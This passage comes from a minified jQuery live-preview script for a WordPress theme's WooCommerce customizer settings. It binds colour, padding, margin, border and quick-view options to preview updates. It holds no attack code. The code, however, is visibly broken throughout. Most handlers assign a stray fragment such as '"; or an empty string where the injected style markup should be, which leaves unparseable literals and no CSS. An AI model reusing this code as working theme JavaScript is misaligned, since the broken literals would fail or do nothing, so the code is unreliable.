$(".customizer-ocean_stars_color_before"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_stars_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_stars_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_quantity_border_color", function($swipe) { $swipe.bind(function(size) { $(".quantity .qty, .quantity .minus, .quantity .plus").css("border-color", size); }); }), api("ocean_quantity_border_color_focus", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_quantity_border_color_focus"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_quantity_color", function($swipe) { $swipe.bind(function(size) { $(".quantity .qty").css("color", size); }); }), api("ocean_quantity_plus_minus_color", function($swipe) { $swipe.bind(function(size) { $(".quantity .minus, .quantity .plus").css("color", size); }); }), api("ocean_quantity_plus_minus_color_hover", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_quantity_plus_minus_color_hover"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_quantity_plus_minus_border_color_hover", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_quantity_plus_minus_border_color_hover"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_toolbar_border_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce .oceanwp-toolbar").css("border-color", size); }); }), api("ocean_toolbar_off_canvas_filter_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_toolbar_off_canvas_filter_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_toolbar_off_canvas_filter_border_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_toolbar_off_canvas_filter_border_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_toolbar_off_canvas_filter_hover_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_toolbar_off_canvas_filter_hover_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_toolbar_off_canvas_filter_hover_border_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_toolbar_off_canvas_filter_hover_border_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_toolbar_grid_list_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_toolbar_grid_list_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_toolbar_grid_list_border_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_toolbar_grid_list_border_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_toolbar_grid_list_hover_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_toolbar_grid_list_hover_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_toolbar_grid_list_active_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_toolbar_grid_list_active_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_toolbar_select_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_toolbar_select_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_toolbar_select_border_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_toolbar_select_border_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_toolbar_number_of_products_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_toolbar_number_of_products_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_toolbar_number_of_products_inactive_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_toolbar_number_of_products_inactive_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_toolbar_number_of_products_border_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_toolbar_number_of_products_border_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_top_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_top_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_right_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_right_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_bottom_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_bottom_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_left_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_left_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_tablet_top_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_tablet_top_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_tablet_right_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_tablet_right_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_tablet_bottom_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_tablet_bottom_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_tablet_left_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_tablet_left_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_mobile_top_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_mobile_top_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_mobile_right_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_mobile_right_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_mobile_bottom_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_mobile_bottom_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_mobile_left_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_mobile_left_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_image_top_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_image_top_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_image_right_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_image_right_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_image_bottom_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_image_bottom_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_image_left_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_image_left_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_image_tablet_top_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_image_tablet_top_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_image_tablet_right_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_image_tablet_right_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_image_tablet_bottom_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_image_tablet_bottom_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_image_tablet_left_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_image_tablet_left_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_image_mobile_top_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_image_mobile_top_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_image_mobile_right_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_image_mobile_right_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_image_mobile_bottom_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_image_mobile_bottom_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_image_mobile_left_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_image_mobile_left_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_top_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_top_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_right_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_right_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_bottom_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_bottom_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_left_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_left_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_tablet_top_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_tablet_top_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_tablet_right_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_tablet_right_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_tablet_bottom_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_tablet_bottom_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_tablet_left_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_tablet_left_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_mobile_top_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_mobile_top_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_mobile_right_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_mobile_right_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_mobile_bottom_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_mobile_bottom_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_mobile_left_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_mobile_left_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_top_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_top_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_right_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_right_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_bottom_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_bottom_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_left_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_left_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_tablet_top_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_tablet_top_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_tablet_right_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_tablet_right_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_tablet_bottom_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_tablet_bottom_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_tablet_left_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_tablet_left_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_mobile_top_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_mobile_top_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_mobile_right_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_mobile_right_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_mobile_bottom_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_mobile_bottom_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_mobile_left_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_mobile_left_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_background_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce .products .product-inner, .woocommerce ul.products li.product .woo-product-info, .woocommerce ul.products li.product .woo-product-gallery").css("background-color", size); }); }), api("ocean_product_border_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce .products .product-inner").css("border-color", size); }); }), api("ocean_category_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce ul.products li.product li.category, .woocommerce ul.products li.product li.category a").css("color", size); }); }), api("ocean_category_color_hover", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_category_color_hover"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_title_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce ul.products li.product li.title h2, .woocommerce ul.products li.product li.title a").css("color", size); }); }), api("ocean_product_title_color_hover", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_title_color_hover"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_entry_price_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce ul.products li.product .price, .woocommerce ul.products li.product .price .amount").css("color", size); }); }), api("ocean_product_entry_del_price_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce ul.products li.product .price del .amount").css("color", size); }); }), api("ocean_product_entry_cond_note_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce ul.products li.product li.owp-woo-cond-notice span, .woocommerce ul.products li.product li.owp-woo-cond-notice a").css("color", size); }); }), api("ocean_product_entry_cond_note_color_hover", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_entry_cond_note_color_hover"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_entry_hover_thumbnails_border_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_entry_hover_thumbnails_border_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_entry_hover_quickview_background", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_entry_hover_quickview_background"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_entry_hover_quickview_hover_background", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_entry_hover_quickview_hover_background"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_entry_hover_quickview_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_entry_hover_quickview_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_entry_hover_quickview_hover_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_entry_hover_quickview_hover_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_entry_hover_wishlist_background", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_entry_hover_wishlist_background"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_entry_hover_wishlist_hover_background", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_entry_hover_wishlist_hover_background"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_entry_hover_wishlist_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_entry_hover_wishlist_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_entry_hover_wishlist_hover_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_entry_hover_wishlist_hover_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_entry_addtocart_bg_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce ul.products li.product .button,.woocommerce ul.products li.product .product-inner .added_to_cart").css("background-color", size); }); }), api("ocean_product_entry_addtocart_bg_color_hover", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_entry_addtocart_bg_color_hover"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_entry_addtocart_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce ul.products li.product .button,.woocommerce ul.products li.product .product-inner .added_to_cart").css("color", size); }); }), api("ocean_product_entry_addtocart_color_hover", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_entry_addtocart_color_hover"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_product_entry_addtocart_border_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce ul.products li.product .button,.woocommerce ul.products li.product .product-inner .added_to_cart").css("border-color", size); }); }), api("ocean_product_entry_addtocart_border_color_hover", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_entry_addtocart_border_color_hover"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api('ocean_product_entry_addtocart_border_style', function(value) { value.bind(function(to) { var $child = $('.customizer-ocean_product_entry_addtocart_border_style'); if (to) { var style = ''; if ($child.length) { $child.replaceWith(style); } else { $('head').append(style); } } else { $child.remove(); } }); }), api('ocean_product_entry_addtocart_border_size', function(value) { value.bind(function(to) { var $child = $('.customizer-ocean_product_entry_addtocart_border_size'); if (to) { var style = ''; if ($child.length) { $child.replaceWith(style); } else { $('head').append(style); } } else { $child.remove(); } }); }), api('ocean_product_entry_addtocart_border_radius', function(value) { value.bind(function(to) { var $child = $('.customizer-ocean_product_entry_addtocart_border_radius'); if (to) { var style = ''; if ($child.length) { $child.replaceWith(style); } else { $('head').append(style); } } else { $child.remove(); } }); }), api('ocean_woo_quick_view_button_bg', function(value) { value.bind(function(to) { var $child = $('.customizer-ocean_woo_quick_view_button_bg'); if (to) { var style = ''; if ($child.length) { $child.replaceWith(style); } else { $('head').append(style); } } else { $child.remove(); } }); }), api('ocean_woo_quick_view_button_hover_bg', function(value) { value.bind(function(to) { var $child = $('.customizer-ocean_woo_quick_view_button_hover_bg'); if (to) { var style = ''; if ($child.length) { $child.replaceWith(style); } else { $('head').append(style); } } else { $child.remove(); } }); }), api('ocean_woo_quick_view_button_color', function(value) { value.bind(function(to) { var $child = $('.customizer-ocean_woo_quick_view_button_color'); if (to) { var style = ''; if ($child.length) { $child.replaceWith(style); } else { $('head').append(style); } } else { $child.remove(); } }); }), api('ocean_woo_quick_view_button_hover_color', function(value) { value.bind(function(to) { var $child = $('.customizer-ocean_woo_quick_view_button_hover_color'); if (to) { var style = ''; if ($child.length) { $child.replaceWith(style); } else { $('head').append(style); } } else { $child.remove(); } }); }), api('ocean_woo_quick_view_overlay_bg', function(value) { value.bind(function(to) { var $child = $('.customizer-ocean_woo_quick_view_overlay_bg'); if (to) { var style = ''; if ($child.length) { $child.replaceWith(style); } else { $('head').append(style); } } else { $child.remove(); } }); }), api('ocean_woo_quick_view_overlay_spinner_outside_color', function(value) { value.bind(function(to) { var $child = $('.customizer-ocean_woo_quick_view_overlay_spinner_outside_color'); if (to) { var style = ''; if ($child.length) { $child.replaceWith(style); } else { $('head').append(style); } } else { $child.remove(); } }); }), api('ocean_woo_quick_view_overlay_spinner_inner_color', function(value) { value.bind(function(to) { var $child = $('.customizer-ocean_woo_quick_view_overlay_spinner_inner_color'); if (to) { var style = ''; if ($child.length) { $child.replaceWith(style); } else { $('head').append(style); } } else { $child.remove(); } }); }), api("ocean_woo_quick_view_modal_bg", function($swipe) { $swipe.bind(function(size) { $(".owp-qv-content-inner").css("background-color", size); }); }), api("ocean_woo_quick_view_modal_close_color", function($swipe) { $swipe.bind(function(size) { $(".owp-qv-content-inner .owp-qv-close").css("color", size); }); }), api("ocean_woo_off_canvas_sidebar_bg", function($swipe) { $swipe.bind(function(size) { $("#oceanwp-off-canvas-sidebar-wrap .oceanwp-off-canvas-sidebar").css("background-color", size); }); }), api("ocean_woo_off_canvas_sidebar_widgets_border", function($swipe) { $swipe.bind(function(size) { $("#oceanwp-off-canvas-sidebar-wrap .sidebar-box").css("border-color", size); }); }), api("ocean_single_product_title_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce div.product .product_title").css("color", size); }); }), api("ocean_single_product_price_color", function($swipe) { $swipe.bind(function(size) { $(".price,.amount").css("color", size); }); }), api("ocean_single_product_del_price_color", function($swipe) { $swipe.bind(function(size) { $(".price del,del .amount").css("color", size); }); }), api("ocean_single_product_description_color", function($swipe) { $swipe.bind(function(size) { $('.woocommerce div.product div[itemprop="description"]').css("color", size); }); }), api("ocean_single_product_meta_title_color", function($swipe) { $swipe.bind(function(size) { $(".product_meta .posted_in,.product_meta .tagged_as").css("color", size); }); }), api("ocean_single_product_meta_link_color", function($swipe) { $swipe.bind(function(size) { $(".product_meta .posted_in a, .product_meta .tagged_as a").css("color", size); }); }), api("ocean_single_product_meta_link_color_hover", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_single_product_meta_link_color_hover"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_single_cond_note_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce div.owp-woo-single-cond-notice span, .woocommerce div.owp-woo-single-cond-notice a").css("color", size); }); }), api("ocean_single_cond_note_color_hover", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_single_cond_note_color_hover"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_single_product_open_image_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce div.product div.images .open-image").css("color", size); }); }), api("ocean_single_product_open_image_border_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce div.product div.images .open-image").css("border-color", size); }); }), api("ocean_single_product_navigation_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_single_product_navigation_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_single_product_navigation_bg", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_single_product_navigation_bg"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_single_product_navigation_hover_bg", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_single_product_navigation_hover_bg"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }),api("ocean_single_product_navigation_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_single_product_navigation_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_single_product_navigation_hover_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_single_product_navigation_hover_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), 